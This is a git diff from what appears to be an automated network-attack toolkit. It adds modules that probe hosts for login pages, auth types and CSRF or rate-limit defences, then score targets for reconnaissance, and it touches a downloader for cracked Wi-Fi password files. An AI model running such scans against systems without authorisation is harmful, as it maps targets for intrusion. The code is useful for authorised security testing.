||||
redir = m_res.group("redir")
|
||||
|
||||
# Insert into DB Immediately
|
||||
self._db_add_result(
|
||||
mac_address=mac_address,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port,
|
||||
directory=path,
|
||||
status=st,
|
||||
size=size,
|
||||
response_time=0,
|
||||
content_type=None,
|
||||
tool="gobuster"
|
||||
)
|
||||
|
||||
findings_count += 1
|
||||
# Live feedback in comments
|
||||
self.shared_data.comment_params = {
|
||||
"url": base_url,
|
||||
"found": str(findings_count),
|
||||
"last": path
|
||||
}
|
||||
continue
|
||||
|
||||
# (Optional) Log errors/unknown lines if needed
|
||||
# if "error" in clean_line.lower(): logger.debug(f"Gobuster err: {clean_line}")
|
||||
|
||||
# End of loop
|
||||
if stop_requested:
|
||||
logger.info("Interrupted by orchestrator.")
|
||||
return "interrupted"
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
return "success"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Execute error on {base_url}: {e}")
|
||||
if process:
|
||||
try:
|
||||
process.terminate()
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
finally:
|
||||
if process:
|
||||
try:
|
||||
if stop_requested and process.poll() is None:
|
||||
process.terminate()
|
||||
# Always reap the child to avoid zombies.
|
||||
try:
|
||||
process.wait(timeout=2)
|
||||
except Exception:
|
||||
try:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
process.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
if process.stdout:
|
||||
process.stdout.close()
|
||||
except Exception:
|
||||
pass
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Execute error on {ip}:{port}: {e}")
|
||||
logger.error(f"General execution error: {e}")
|
||||
return "failed"
|
||||
|
||||
|
||||
@@ -341,7 +400,7 @@ if __name__ == "__main__":
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
web_enum = WebEnumeration(shared_data)
|
||||
logger.info("Starting web directory enumeration...")
|
||||
logger.info("Starting web directory enumeration (CLI)...")
|
||||
|
||||
rows = shared_data.read_data()
|
||||
for row in rows:
|
||||
@@ -351,6 +410,7 @@ if __name__ == "__main__":
|
||||
port = row.get("port") or 80
|
||||
logger.info(f"Execute WebEnumeration on {ip}:{port} ...")
|
||||
status = web_enum.execute(ip, int(port), row, "enum_web_directories")
|
||||
|
||||
if status == "success":
|
||||
logger.success(f"Enumeration successful for {ip}:{port}.")
|
||||
elif status == "interrupted":
|
||||
|
||||
316
actions/web_login_profiler.py
Normal file
@@ -0,0 +1,316 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
web_login_profiler.py — Lightweight web login profiler (Pi Zero friendly).
|
||||
|
||||
Goal:
|
||||
- Profile web endpoints to detect login surfaces and defensive controls (no password guessing).
|
||||
- Store findings into DB table `webenum` (tool='login_profiler') for community visibility.
|
||||
- Update EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import ssl
|
||||
import time
|
||||
from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="web_login_profiler.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "WebLoginProfiler"
|
||||
b_module = "web_login_profiler"
|
||||
b_status = "WebLoginProfiler"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_web_service"
|
||||
b_priority = 55
|
||||
b_action = "normal"
|
||||
b_cooldown = 1800
|
||||
b_rate_limit = "6/86400"
|
||||
b_enabled = 1
|
||||
|
||||
# Small curated list, cheap but high signal.
|
||||
DEFAULT_PATHS = [
|
||||
"/",
|
||||
"/login",
|
||||
"/signin",
|
||||
"/auth",
|
||||
"/admin",
|
||||
"/administrator",
|
||||
"/wp-login.php",
|
||||
"/user/login",
|
||||
"/robots.txt",
|
||||
]
|
||||
|
||||
ANSI_RE = re.compile(r"\x1B\[[0-?]*[ -/]*[@-~]")
|
||||
|
||||
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
|
||||
def _first_hostname_from_row(row: Dict) -> str:
|
||||
try:
|
||||
hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip()
|
||||
if ";" in hn:
|
||||
hn = hn.split(";", 1)[0].strip()
|
||||
return hn
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]:
|
||||
h = {str(k).lower(): str(v) for k, v in (headers or {}).items()}
|
||||
www = h.get("www-authenticate", "")
|
||||
set_cookie = h.get("set-cookie", "")
|
||||
|
||||
auth_type = None
|
||||
if status == 401 and "basic" in www.lower():
|
||||
auth_type = "basic"
|
||||
elif status == 401 and "digest" in www.lower():
|
||||
auth_type = "digest"
|
||||
|
||||
# Very cheap login form heuristics
|
||||
snippet = (body_snippet or "").lower()
|
||||
has_form = "<form" in snippet
|
||||
has_password = "type=\"password\"" in snippet or "type='password'" in snippet
|
||||
looks_like_login = bool(has_form and has_password) or any(x in snippet for x in ["login", "sign in", "connexion"])
|
||||
|
||||
csrf_markers = [
|
||||
"csrfmiddlewaretoken",
|
||||
"authenticity_token",
|
||||
"csrf_token",
|
||||
"name=\"_token\"",
|
||||
"name='_token'",
|
||||
]
|
||||
has_csrf = any(m in snippet for m in csrf_markers)
|
||||
|
||||
# Rate limit / lockout hints
|
||||
rate_limited = (status == 429) or ("retry-after" in h) or ("x-ratelimit-remaining" in h)
|
||||
|
||||
cookie_names = []
|
||||
if set_cookie:
|
||||
# Parse only cookie names cheaply
|
||||
for part in set_cookie.split(","):
|
||||
name = part.split(";", 1)[0].split("=", 1)[0].strip()
|
||||
if name and name not in cookie_names:
|
||||
cookie_names.append(name)
|
||||
|
||||
framework_hints = []
|
||||
for cn in cookie_names:
|
||||
l = cn.lower()
|
||||
if l in {"csrftoken", "sessionid"}:
|
||||
framework_hints.append("django")
|
||||
elif l in {"laravel_session", "xsrf-token"}:
|
||||
framework_hints.append("laravel")
|
||||
elif l == "phpsessid":
|
||||
framework_hints.append("php")
|
||||
elif "wordpress" in l:
|
||||
framework_hints.append("wordpress")
|
||||
|
||||
server = h.get("server", "")
|
||||
powered = h.get("x-powered-by", "")
|
||||
|
||||
return {
|
||||
"auth_type": auth_type,
|
||||
"looks_like_login": bool(looks_like_login),
|
||||
"has_csrf": bool(has_csrf),
|
||||
"rate_limited_hint": bool(rate_limited),
|
||||
"server": server,
|
||||
"x_powered_by": powered,
|
||||
"cookie_names": cookie_names[:12],
|
||||
"framework_hints": sorted(set(framework_hints))[:6],
|
||||
}
|
||||
|
||||
|
||||
class WebLoginProfiler:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._ssl_ctx = ssl._create_unverified_context()
|
||||
|
||||
def _db_upsert(self, *, mac: str, ip: str, hostname: str, port: int, path: str,
|
||||
status: int, size: int, response_ms: int, content_type: str,
|
||||
method: str, user_agent: str, headers_json: str):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'login_profiler', ?, ?, ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
user_agent = COALESCE(excluded.user_agent, webenum.user_agent),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
path or "/",
|
||||
int(status),
|
||||
int(size or 0),
|
||||
int(response_ms or 0),
|
||||
content_type or "",
|
||||
method or "GET",
|
||||
user_agent or "",
|
||||
headers_json or "",
|
||||
),
|
||||
)
|
||||
|
||||
def _fetch(self, *, ip: str, port: int, scheme: str, path: str, timeout_s: float,
|
||||
user_agent: str) -> Tuple[int, Dict[str, str], str, int, int]:
|
||||
started = time.time()
|
||||
body_snip = ""
|
||||
headers_out: Dict[str, str] = {}
|
||||
status = 0
|
||||
size = 0
|
||||
|
||||
conn = None
|
||||
try:
|
||||
if scheme == "https":
|
||||
conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx)
|
||||
else:
|
||||
conn = HTTPConnection(ip, port=port, timeout=timeout_s)
|
||||
|
||||
conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"})
|
||||
resp = conn.getresponse()
|
||||
status = int(resp.status or 0)
|
||||
for k, v in resp.getheaders():
|
||||
if k and v:
|
||||
headers_out[str(k)] = str(v)
|
||||
|
||||
# Read only a small chunk (Pi-friendly) for fingerprinting.
|
||||
chunk = resp.read(65536) # 64KB
|
||||
size = len(chunk or b"")
|
||||
try:
|
||||
body_snip = (chunk or b"").decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
body_snip = ""
|
||||
except (ConnectionError, TimeoutError, RemoteDisconnected):
|
||||
status = 0
|
||||
except Exception:
|
||||
status = 0
|
||||
finally:
|
||||
try:
|
||||
if conn:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
elapsed_ms = int((time.time() - started) * 1000)
|
||||
return status, headers_out, body_snip, size, elapsed_ms
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80)
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
hostname = _first_hostname_from_row(row)
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0))
|
||||
user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebProfiler/1.0"))
|
||||
paths = getattr(self.shared_data, "web_login_profiler_paths", None) or DEFAULT_PATHS
|
||||
if not isinstance(paths, list):
|
||||
paths = DEFAULT_PATHS
|
||||
|
||||
self.shared_data.bjorn_orch_status = "WebLoginProfiler"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i)}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(paths))
|
||||
found_login = 0
|
||||
|
||||
try:
|
||||
for p in paths:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
path = str(p or "/").strip()
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
|
||||
status, headers, body, size, elapsed_ms = self._fetch(
|
||||
ip=ip,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
path=path,
|
||||
timeout_s=timeout_s,
|
||||
user_agent=user_agent,
|
||||
)
|
||||
|
||||
ctype = headers.get("Content-Type") or headers.get("content-type") or ""
|
||||
signals = _detect_signals(status, headers, body)
|
||||
if signals.get("looks_like_login") or signals.get("auth_type"):
|
||||
found_login += 1
|
||||
|
||||
headers_payload = {
|
||||
"signals": signals,
|
||||
"sample": {
|
||||
"status": status,
|
||||
"content_type": ctype,
|
||||
},
|
||||
}
|
||||
|
||||
try:
|
||||
headers_json = json.dumps(headers_payload, ensure_ascii=True)
|
||||
except Exception:
|
||||
headers_json = ""
|
||||
|
||||
try:
|
||||
self._db_upsert(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
path=path,
|
||||
status=status or 0,
|
||||
size=size,
|
||||
response_ms=elapsed_ms,
|
||||
content_type=ctype,
|
||||
method="GET",
|
||||
user_agent=user_agent,
|
||||
headers_json=headers_json,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": path,
|
||||
"login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))),
|
||||
}
|
||||
|
||||
progress.advance(1)
|
||||
|
||||
progress.set_complete()
|
||||
# "success" means: profiler ran; not that a login exists.
|
||||
logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})")
|
||||
return "success"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
233
actions/web_surface_mapper.py
Normal file
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
web_surface_mapper.py — Post-profiler web surface scoring (no exploitation).
|
||||
|
||||
Trigger idea: run after WebLoginProfiler to compute a summary and a "risk score"
|
||||
from recent webenum rows written by tool='login_profiler'.
|
||||
|
||||
Writes one summary row into `webenum` (tool='surface_mapper') so it appears in UI.
|
||||
Updates EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="web_surface_mapper.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "WebSurfaceMapper"
|
||||
b_module = "web_surface_mapper"
|
||||
b_status = "WebSurfaceMapper"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_success:WebLoginProfiler"
|
||||
b_priority = 45
|
||||
b_action = "normal"
|
||||
b_cooldown = 600
|
||||
b_rate_limit = "48/86400"
|
||||
b_enabled = 1
|
||||
|
||||
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
|
||||
def _safe_json_loads(s: str) -> dict:
|
||||
try:
|
||||
return json.loads(s) if s else {}
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
def _score_signals(signals: dict) -> int:
|
||||
"""
|
||||
Heuristic risk score 0..100.
|
||||
This is not an "attack recommendation"; it's a prioritization for recon.
|
||||
"""
|
||||
if not isinstance(signals, dict):
|
||||
return 0
|
||||
score = 0
|
||||
|
||||
auth = str(signals.get("auth_type") or "").lower()
|
||||
if auth in {"basic", "digest"}:
|
||||
score += 45
|
||||
|
||||
if bool(signals.get("looks_like_login")):
|
||||
score += 35
|
||||
|
||||
if bool(signals.get("has_csrf")):
|
||||
score += 10
|
||||
|
||||
if bool(signals.get("rate_limited_hint")):
|
||||
# Defensive signal: reduces priority for noisy follow-ups.
|
||||
score -= 25
|
||||
|
||||
hints = signals.get("framework_hints") or []
|
||||
if isinstance(hints, list) and hints:
|
||||
score += min(10, 3 * len(hints))
|
||||
|
||||
return max(0, min(100, int(score)))
|
||||
|
||||
|
||||
class WebSurfaceMapper:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _db_upsert_summary(
|
||||
self,
|
||||
*,
|
||||
mac: str,
|
||||
ip: str,
|
||||
hostname: str,
|
||||
port: int,
|
||||
scheme: str,
|
||||
summary: dict,
|
||||
):
|
||||
directory = "/__surface_summary__"
|
||||
payload = json.dumps(summary, ensure_ascii=True)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'surface_mapper', 'SUMMARY', '', ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
directory,
|
||||
200,
|
||||
len(payload),
|
||||
0,
|
||||
"application/json",
|
||||
payload,
|
||||
),
|
||||
)
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else 80
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
|
||||
self.shared_data.bjorn_orch_status = "WebSurfaceMapper"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "phase": "score"}
|
||||
|
||||
# Load recent profiler rows for this target.
|
||||
rows: List[Dict[str, Any]] = []
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT directory, status, content_type, headers, response_time, last_seen
|
||||
FROM webenum
|
||||
WHERE mac_address=? AND ip=? AND port=? AND is_active=1 AND tool='login_profiler'
|
||||
ORDER BY last_seen DESC
|
||||
""",
|
||||
(mac or "", ip, int(port_i)),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB query failed (webenum login_profiler): {e}")
|
||||
rows = []
|
||||
|
||||
progress = ProgressTracker(self.shared_data, max(1, len(rows)))
|
||||
scored: List[Tuple[int, str, int, str, dict]] = []
|
||||
|
||||
try:
|
||||
for r in rows:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
directory = str(r.get("directory") or "/")
|
||||
status = int(r.get("status") or 0)
|
||||
ctype = str(r.get("content_type") or "")
|
||||
h = _safe_json_loads(str(r.get("headers") or ""))
|
||||
signals = h.get("signals") if isinstance(h, dict) else {}
|
||||
score = _score_signals(signals if isinstance(signals, dict) else {})
|
||||
scored.append((score, directory, status, ctype, signals if isinstance(signals, dict) else {}))
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": directory,
|
||||
"score": str(score),
|
||||
}
|
||||
progress.advance(1)
|
||||
|
||||
scored.sort(key=lambda t: (t[0], t[2]), reverse=True)
|
||||
top = scored[:5]
|
||||
avg = int(sum(s for s, *_ in scored) / max(1, len(scored))) if scored else 0
|
||||
top_path = top[0][1] if top else ""
|
||||
top_score = top[0][0] if top else 0
|
||||
|
||||
summary = {
|
||||
"ip": ip,
|
||||
"port": int(port_i),
|
||||
"scheme": scheme,
|
||||
"count_profiled": int(len(rows)),
|
||||
"avg_score": int(avg),
|
||||
"top": [
|
||||
{"score": int(s), "path": p, "status": int(st), "content_type": ct, "signals": sig}
|
||||
for (s, p, st, ct, sig) in top
|
||||
],
|
||||
"ts_epoch": int(time.time()),
|
||||
}
|
||||
|
||||
try:
|
||||
self._db_upsert_summary(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
summary=summary,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB upsert summary failed: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"count": str(len(rows)),
|
||||
"top_path": top_path,
|
||||
"top_score": str(top_score),
|
||||
"avg_score": str(avg),
|
||||
}
|
||||
|
||||
progress.set_complete()
|
||||
return "success"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
@@ -8,6 +8,7 @@ import argparse
|
||||
import requests
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
import logging
|
||||
|
||||
# ── METADATA / UI FOR NEO LAUNCHER ────────────────────────────────────────────
|
||||
@@ -172,8 +173,9 @@ class WPAsecPotfileManager:
|
||||
response = requests.get(self.DOWNLOAD_URL, cookies=cookies, stream=True)
|
||||
response.raise_for_status()
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
filename = os.path.join(save_dir, f"potfile_{timestamp}.pot")
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
|
||||
filename = os.path.join(save_dir, f"potfile_{ts}.pot")
|
||||
|
||||
os.makedirs(save_dir, exist_ok=True)
|
||||
with open(filename, "wb") as file:
|
||||
|
||||